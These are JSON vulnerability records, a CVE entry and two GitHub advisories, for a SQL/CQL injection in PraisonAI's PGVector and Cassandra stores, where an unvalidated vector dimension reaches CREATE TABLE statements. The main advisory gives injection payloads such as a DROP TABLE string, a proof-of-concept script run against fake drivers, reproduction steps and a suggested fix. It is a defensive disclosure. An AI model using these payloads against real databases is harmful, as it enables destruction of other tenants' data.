{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:pypi/praisonai",
          "product": "PraisonAI",
          "vendor": "MervinPraison",
          "versions": [
            {
              "lessThan": "4.6.78",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "4.6.78",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PraisonAI before 4.6.78 fails to validate the caller-controlled dimension argument in the PGVector and Cassandra knowledge-store create_collection() backends. Although schema, keyspace, and collection-name identifiers are validated, the dimension value (declared as int but not enforced at runtime) is interpolated directly into the vector column of the generated CREATE TABLE DDL. A caller able to influence collection-creation dimensions can pass a string such as \u00273); DROP TABLE tenant_secrets; --\u0027 to inject SQL/CQL tokens into the statement executed by the database driver."
    }
  ],
  "id": "CVE-2026-60090",
  "lastModified": "2026-07-14T15:17:07.740",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 9.3,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-60090",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-14T14:09:37.877434Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-11T14:16:22.353",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wf65-4jjx-q444"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-sql-cql-injection-via-vector-dimension"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wf65-4jjx-q444"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-89"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.6.77"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:16:55Z",
    "nvd_published_at": "2026-07-11T14:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-wf65-4jjx-q444. This link is maintained to preserve external references.\n\n### Original Description\nPraisonAI before 4.6.78 fails to validate the caller-controlled dimension argument in the PGVector and Cassandra knowledge-store create_collection() backends. Although schema, keyspace, and collection-name identifiers are validated, the dimension value (declared as int but not enforced at runtime) is interpolated directly into the vector column of the generated CREATE TABLE DDL. A caller able to influence collection-creation dimensions can pass a string such as \u00273); DROP TABLE tenant_secrets; --\u0027 to inject SQL/CQL tokens into the statement executed by the database driver.",
  "id": "GHSA-q65p-7p84-495c",
  "modified": "2026-10-08T17:16:55Z",
  "published": "2026-07-11T15:30:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wf65-4jjx-q444"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60090"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-sql-cql-injection-via-vector-dimension"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL",
  "withdrawn": "2026-10-08T17:16:55Z"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-60090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:17:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL\n\n## Summary\n\nThe PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled `dimension` argument directly into `CREATE TABLE` vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.\n\n## Technical Details\n\nThe affected boundary is the vector-store collection creation API. The shared `KnowledgeStore.create_collection()` contract declares `dimension: int`, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.\n\n`src/praisonai/praisonai/persistence/knowledge/pgvector.py` already treats DDL identifier interpolation as security-sensitive: `__init__()` calls `validate_identifier(schema, name=\"schema\")`, and `_table_name()` calls `validate_identifier(collection, name=\"collection name\")` before returning `f\"{self.schema}.praison_vec_{collection}\"`. However, `PGVectorKnowledgeStore.create_collection()` then executes:\n\n```python\ncur.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {table} (\n        id VARCHAR(255) PRIMARY KEY,\n        content TEXT,\n        content_hash VARCHAR(64),\n        created_at DOUBLE PRECISION,\n        metadata JSONB,\n        embedding vector({dimension})\n    )\n\"\"\")\n```\n\nNo equivalent type or range check runs on `dimension`. Passing a string such as `3); DROP TABLE tenant_secrets; --` reaches the SQL sent to `cur.execute()`.\n\n`src/praisonai/praisonai/persistence/knowledge/cassandra.py` has the same pattern. The constructor validates `keyspace`, and `create_collection()` validates the collection name, but the vector column DDL uses:\n\n```python\nself._session.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {name} (\n        id text PRIMARY KEY,\n        content text,\n        content_hash text,\n        created_at double,\n        embedding vector\u003cfloat, {dimension}\u003e\n    )\n\"\"\")\n```\n\nPassing a string such as `3\u003e; DROP TABLE tenant_secrets; --` reaches the CQL sent to `session.execute()`.\n\n## PoV\n\nThis minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for vector-store dimension DDL interpolation.\n\nThe script imports PraisonAI\u0027s current source with fake PostgreSQL/Cassandra\ndrivers, then records the SQL/CQL sent to the driver cursors. No database server\nis required; the assertion is that the real classes build executable DDL with an\nattacker-controlled dimension string.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport importlib\nimport json\nimport subprocess\nimport sys\nimport types\nfrom pathlib import Path\nfrom typing import Any\n\n\nclass SqlRecorder:\n    def __init__(self) -\u003e None:\n        self.statements: list[dict[str, Any]] = []\n\n    def execute(self, statement: str, params: Any = None) -\u003e None:\n        normalized = \"\\n\".join(line.rstrip() for line in statement.strip().splitlines())\n        self.statements.append({\"statement\": normalized, \"params\": params})\n\n    def __enter__(self) -\u003e \"SqlRecorder\":\n        return self\n\n    def __exit__(self, *_exc: object) -\u003e None:\n        return None\n\n\nclass FakeConnection:\n    def __init__(self, recorder: SqlRecorder) -\u003e None:\n        self.recorder = recorder\n\n    def cursor(self, *args: Any, **kwargs: Any) -\u003e SqlRecorder:\n        return self.recorder\n\n    def commit(self) -\u003e None:\n        return None\n\n\nclass FakePool:\n    def __init__(self, recorder: SqlRecorder) -\u003e None:\n        self.conn = FakeConnection(recorder)\n\n    def getconn(self) -\u003e FakeConnection:\n        return self.conn\n\n    def putconn(self, _conn: FakeConnection) -\u003e None:\n        return None\n\n    def closeall(self) -\u003e None:\n        return None\n\n\nclass FakeCassandraSession:\n    def __init__(self, recorder: SqlRecorder) -\u003e None:\n        self.recorder = recorder\n        self.keyspace: str | None = None\n\n    def execute(self, statement: str, params: Any = None) -\u003e list[Any]:\n        self.recorder.execute(statement, params)\n        return []\n\n    def set_keyspace(self, keyspace: str) -\u003e None:\n        self.keyspace = keyspace\n\n\nclass FakeCluster:\n    recorder: SqlRecorder\n\n    def __init__(self, *_args: Any, **_kwargs: Any) -\u003e None:\n        self.session = FakeCassandraSession(self.recorder)\n\n    def connect(self) -\u003e FakeCassandraSession:\n        return self.session\n\n    def shutdown(self) -\u003e None:\n        return None\n\n\ndef install_fake_pg_driver(recorder: SqlRecorder) -\u003e None:\n    psycopg2 = types.ModuleType(\"psycopg2\")\n    pool = types.ModuleType(\"psycopg2.pool\")\n    extras = types.ModuleType(\"psycopg2.extras\")\n\n    pool.ThreadedConnectionPool = lambda *_args, **_kwargs: FakePool(recorder)  # type: ignore[attr-defined]\n    extras.RealDictCursor = object  # type: ignore[attr-defined]\n    psycopg2.pool = pool  # type: ignore[attr-defined]\n    psycopg2.extras = extras  # type: ignore[attr-defined]\n\n    sys.modules[\"psycopg2\"] = psycopg2\n    sys.modules[\"psycopg2.pool\"] = pool\n    sys.modules[\"psycopg2.extras\"] = extras\n\n\ndef install_fake_cassandra_driver(recorder: SqlRecorder) -\u003e None:\n    cassandra = types.ModuleType(\"cassandra\")\n    cluster = types.ModuleType(\"cassandra.cluster\")\n    auth = types.ModuleType(\"cassandra.auth\")\n\n    FakeCluster.recorder = recorder\n    cluster.Cluster = FakeCluster  # type: ignore[attr-defined]\n    auth.PlainTextAuthProvider = lambda *_args, **_kwargs: object()  # type: ignore[attr-defined]\n\n    sys.modules[\"cassandra\"] = cassandra\n    sys.modules[\"cassandra.cluster\"] = cluster\n    sys.modules[\"cassandra.auth\"] = auth\n\n\ndef git_value(source_root: Path, *args: str) -\u003e str:\n    return subprocess.check_output([\"git\", *args], cwd=source_root, text=True).strip()\n\n\ndef try_invalid_collection(store: Any) -\u003e str:\n    try:\n        store.create_collection(\"docs; DROP TABLE blocked; --\", 3)\n    except Exception as exc:  # noqa: BLE001 - output records exact guard behavior.\n        return f\"{type(exc).__name__}: {exc}\"\n    return \"accepted\"\n\n\ndef run_pgvector(source_root: Path) -\u003e dict[str, Any]:\n    recorder = SqlRecorder()\n    install_fake_pg_driver(recorder)\n    sys.path.insert(0, str(source_root / \"src\" / \"praisonai\"))\n    mod = importlib.import_module(\"praisonai.persistence.knowledge.pgvector\")\n    store = mod.PGVectorKnowledgeStore(url=\"postgresql://example.invalid/db\", auto_create_extension=False)\n\n    invalid_collection = try_invalid_collection(store)\n    recorder.statements.clear()\n    store.create_collection(\"docs\", 3)\n    safe_statements = list(recorder.statements)\n\n    recorder.statements.clear()\n    payload = \"3); DROP TABLE tenant_secrets; --\"\n    store.create_collection(\"docs\", payload)\n    malicious_statements = list(recorder.statements)\n\n    return {\n        \"payload\": payload,\n        \"invalid_collection_control\": invalid_collection,\n        \"safe_contains_drop_table\": \"DROP TABLE\" in json.dumps(safe_statements),\n        \"malicious_contains_drop_table\": \"DROP TABLE tenant_secrets\" in json.dumps(malicious_statements),\n        \"safe_statements\": safe_statements,\n        \"malicious_statements\": malicious_statements,\n    }\n\n\ndef run_cassandra(source_root: Path) -\u003e dict[str, Any]:\n    recorder = SqlRecorder()\n    install_fake_cassandra_driver(recorder)\n    sys.path.insert(0, str(source_root / \"src\" / \"praisonai\"))\n    mod = importlib.import_module(\"praisonai.persistence.knowledge.cassandra\")\n    store = mod.CassandraKnowledgeStore(hosts=[\"127.0.0.1\"], keyspace=\"praisonai_safe\")\n\n    invalid_collection = try_invalid_collection(store)\n    recorder.statements.clear()\n    store.create_collection(\"docs\", 3)\n    safe_statements = list(recorder.statements)\n\n    recorder.statements.clear()\n    payload = \"3\u003e; DROP TABLE tenant_secrets; --\"\n    store.create_collection(\"docs\", payload)\n    malicious_statements = list(recorder.statements)\n\n    return {\n        \"payload\": payload,\n        \"invalid_collection_control\": invalid_collection,\n        \"safe_contains_drop_table\": \"DROP TABLE\" in json.dumps(safe_statements),\n        \"malicious_contains_drop_table\": \"DROP TABLE tenant_secrets\" in json.dumps(malicious_statements),\n        \"safe_statements\": safe_statements,\n        \"malicious_statements\": malicious_statements,\n    }\n\n\ndef main() -\u003e None:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--source-root\", type=Path, default=Path.cwd())\n    args = parser.parse_args()\n    source_root = args.source_root.resolve()\n\n    output = {\n        \"source\": {\n            \"repository\": \"MervinPraison/PraisonAI\",\n            \"head\": git_value(source_root, \"rev-parse\", \"HEAD\"),\n            \"describe\": git_value(source_root, \"describe\", \"--tags\", \"--always\", \"--dirty\"),\n        },\n        \"pgvector\": run_pgvector(source_root),\n        \"cassandra\": run_cassandra(source_root),\n    }\n\n    assert output[\"pgvector\"][\"invalid_collection_control\"].startswith(\"ValueError:\"), output\n    assert output[\"cassandra\"][\"invalid_collection_control\"].startswith(\"ValueError:\"), output\n    assert output[\"pgvector\"][\"safe_contains_drop_table\"] is False, output\n    assert output[\"cassandra\"][\"safe_contains_drop_table\"] is False, output\n    assert output[\"pgvector\"][\"malicious_contains_drop_table\"] is True, output\n    assert output[\"cassandra\"][\"malicious_contains_drop_table\"] is True, output\n\n    print(json.dumps(output, indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## PoC\n\nSave the PoV script above as `pov_vector_dimension_ddl_injection.py`, then reproduce against current head:\n\n```bash\ngit clone https://github.com/MervinPraison/PraisonAI.git\ncd PraisonAI\ngit checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\npython3 pov_vector_dimension_ddl_injection.py --source-root .\n```\n\nDecisive PGVector output:\n\n```json\n{\n  \"pgvector\": {\n    \"invalid_collection_control\": \"ValueError: collection name must be non-empty and contain only alphanumerics and underscores\",\n    \"safe_contains_drop_table\": false,\n    \"malicious_contains_drop_table\": true,\n    \"malicious_statements\": [\n      {\n        \"statement\": \"CREATE TABLE IF NOT EXISTS public.praison_vec_docs (... embedding vector(3); DROP TABLE tenant_secrets; --) ...)\"\n      }\n    ]\n  }\n}\n```\n\nDecisive Cassandra output:\n\n```json\n{\n  \"cassandra\": {\n    \"invalid_collection_control\": \"ValueError: collection name must be non-empty and contain only alphanumerics and underscores\",\n    \"safe_contains_drop_table\": false,\n    \"malicious_contains_drop_table\": true,\n    \"malicious_statements\": [\n      {\n        \"statement\": \"CREATE TABLE IF NOT EXISTS docs (... embedding vector\u003cfloat, 3\u003e; DROP TABLE tenant_secrets; --\u003e ...)\"\n      }\n    ]\n  }\n}\n```\n\nThe local controls also showed safe integer dimensions produce `embedding vector(3)` and `embedding vector\u003cfloat, 3\u003e` without `DROP TABLE`, while malicious collection names are rejected before driver execution.\n\n## Impact\n\nThis is a SQL/CQL injection sink in database DDL generation. Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges.\n\n## Suggested Fix\n\nValidate `dimension` before constructing DDL in every backend that uses it. Prefer a shared helper at the `KnowledgeStore.create_collection()` boundary plus backend-level defense in depth:\n\n```python\ndef validate_vector_dimension(value: object) -\u003e int:\n    if isinstance(value, bool) or not isinstance(value, int):\n        raise ValueError(\"dimension must be an integer\")\n    if value \u003c= 0 or value \u003e 200000:\n        raise ValueError(\"dimension is outside the supported range\")\n    return value\n```\n\nUse the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as `3); DROP TABLE x; --` and `3\u003e; DROP TABLE x; --` raise before any driver `execute()` call, alongside the existing malicious collection-name tests.\n\n## Affected Package/Versions\n\nAffected package: `praisonai`.\n\nThe source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at `v3.10.0`, `v4.5.128`, `v4.6.59`, `v4.6.62`, `v4.6.63`, `v4.6.64`, and current main commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`. A conservative affected range is `praisonai \u003e= 3.10.0, \u003c= 4.6.64` plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source.\n\n## Advisory History\n\nRepository security advisories were checked on 2026-06-19. The closest public advisory is `GHSA-3643-7v76-5cj2`, \"PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries\". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are `embedding vector({dimension})` and `embedding vector\u003cfloat, {dimension}\u003e`, and the issue remains after the identifier hardening.\n\nOther checked comparators include conversation-store `table_prefix` SQL injection advisories (`GHSA-rg3h-x3jw-7jm5`, `GHSA-x783-xp3g-mqhp`) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL.\n\n## References\n\n- `src/praisonai/praisonai/persistence/knowledge/pgvector.py`\n- `src/praisonai/praisonai/persistence/knowledge/cassandra.py`\n- `src/praisonai/praisonai/persistence/knowledge/base.py`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp`",
  "id": "GHSA-wf65-4jjx-q444",
  "modified": "2026-10-08T17:17:01Z",
  "published": "2026-10-08T17:17:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wf65-4jjx-q444"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60090"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-sql-cql-injection-via-vector-dimension"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL"
}